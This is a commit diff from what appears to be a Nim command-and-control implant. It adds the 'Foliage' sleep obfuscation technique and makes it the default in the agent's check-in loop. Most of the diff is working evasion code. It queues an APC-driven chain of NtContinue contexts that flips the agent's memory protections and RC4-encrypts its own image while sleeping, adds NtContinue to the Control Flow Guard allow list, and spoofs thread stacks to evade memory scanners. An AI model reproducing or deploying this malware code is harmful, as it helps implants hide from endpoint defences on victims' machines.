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Implemented the Foliage sleep obfuscation technique.

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This commit is contained in:
Jakob Friedl
2025-09-03 23:21:45 +02:00
parent d0545ffd16
commit 5ebe5d3598
4 changed files with 169 additions and 9 deletions
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172
src/agent/core/sleepmask.nim
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@@ -5,9 +5,10 @@ import os, system, strformat
import ./cfg
import ../../common/[types, utils, crypto]
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
# The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
# https://maldevacademy.com/new/modules/54
# https://maldevacademy.com/new/modules/55
# https://maldevacademy.com/new/modules/56
type
@@ -23,15 +24,26 @@ type
WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID
PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
PS_APC_ROUTINE = proc(ApcArgument1: PVOID, ApcArgument2: PVOID, ApcArgument3: PVOID): VOID
PPS_APC_ROUTINE = ptr PS_APC_ROUTINE
# Required APIs (definitions taken from NtDoc)
# Ekko/Zilean
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
# Foliage
proc NtCreateThreadEx(threadHandle: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, processHandle: HANDLE, startRoutine: PVOID, argument: PVOID, createFlags: ULONG, zeroBits: ULONG, stackSize: ULONG, maximumStackSize: ULONG, attributeList: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateThreadEx"), dynlib: protect("ntdll.dll").}
proc NtGetContextThread(threadHandle: HANDLE, context: PCONTEXT): NTSTATUS {.cdecl, stdcall, importc: protect("NtGetContextThread"), dynlib: protect("ntdll.dll").}
proc NtQueueApcThread(threadHandle: HANDLE, apcRoutine: PPS_APC_ROUTINE, apcArgument1: PVOID, apcArgument2: PVOID, apcArgument3: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtQueueApcThread"), dynlib: protect("ntdll.dll").}
proc NtAlertResumeThread(threadHandle: HANDLE, suspendCount: PULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtAlertResumeThread"), dynlib: protect("ntdll.dll").}
proc NtTestAlert(): NTSTATUS {.cdecl, stdcall, importc: protect("NtTestAlert"), dynlib: protect("ntdll.dll").}
# Function for retrieving a random thread's thread context for stack spoofing
proc GetRandomThreadCtx(): CONTEXT =
@@ -68,18 +80,159 @@ proc GetRandomThreadCtx(): CONTEXT =
continue
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
break
return ctx
echo protect("[-] No suitable thread for stack duplication found.")
return ctx
return ctx
# FOLIAGE sleep obfuscation based on Asynchronous Procedure Calls
proc sleepFoliage*(sleepDelay: int) =
var
status: NTSTATUS = 0
img: USTRING = USTRING(Length: 0)
key: USTRING = USTRING(Length: 0)
ctx: array[7, CONTEXT]
ctxInit: CONTEXT
hEventSync: HANDLE
oldProtection: ULONG
hThread: HANDLE
try:
var
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
discard evadeCFG(NtContinue)
# Locate image base and size
var imageBase = GetModuleHandleA(NULL)
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
img.Buffer = cast[PVOID](imageBase)
img.Length = imageSize
# Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
key.Buffer = keyBuffer.addr
key.Length = cast[DWORD](keyBuffer.len())
# Start synchronization event
status = NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
# Start suspended thread where the APC calls will be queued and executed
status = NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
echo fmt"[*] [{hThread.repr}] Thread created "
ctxInit.ContextFlags = CONTEXT_FULL
status = NtGetContextThread(hThread, addr ctxInit)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
cast[ptr PVOID](ctxInit.Rsp)[] = cast[PVOID](NtTestAlert)
# Preparing the ROP chain
for i in 0 ..< ctx.len():
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
var gadget = 0
# ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered.
ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject)
ctx[gadget].Rcx = cast[DWORD64](hEventSync)
ctx[gadget].Rdx = cast[DWORD64](FALSE)
ctx[gadget].R8 = cast[DWORD64](NULL)
inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
ctx[gadget].Rcx = cast[DWORD64](addr img)
ctx[gadget].Rdx = cast[DWORD64](addr key)
inc gadget
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
ctx[gadget].Rcx = cast[DWORD64](imageBase)
ctx[gadget].Rdx = cast[DWORD64](imageSize)
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
inc gadget
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
ctx[gadget].Rip = cast[DWORD64](ExitThread)
ctx[gadget].Rcx = cast[DWORD64](0)
# Queueing the chain
for i in 0 .. gadget:
status = NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
# Start sleep obfuscation
status = NtAlertResumeThread(hThread, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
echo protect("[*] Sleep obfuscation start.")
status = NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.")
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
finally:
if hEventSync != 0:
CloseHandle(hEventSync)
hEventSync = 0
if hThread != 0:
CloseHandle(hThread)
hThread = 0
# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean)
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: var bool = true) =
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
if sleepDelay == 0:
return
if mode == FOLIAGE:
sleepFoliage(sleepDelay)
return
var
status: NTSTATUS = 0
img: USTRING = USTRING(Length: 0)
@@ -178,6 +331,11 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
# Create handle to the current process
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx()
if ctxSpoof == cast[CONTEXT](0):
# If no suitable thread is found for stack spoofing, continue without it
spoofStack = false
if spoofStack:
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
@@ -228,7 +386,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[gadget].Rcx = cast[DWORD64](cast[HANDLE](-1))
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget

4
src/agent/main.nim
View File

@@ -36,8 +36,8 @@ proc main() =
while true:
# Sleep obfuscation with stack spoofing to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, EKKO)
# sleep(ctx.sleep * 1000)
var spoofStack = true
sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in."

1
src/common/types.nim
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@@ -80,6 +80,7 @@ type
SleepObfuscationMode* = enum
EKKO = 0'u8
ZILEAN = 1'u8
FOLIAGE = 2'u8
# Encryption
type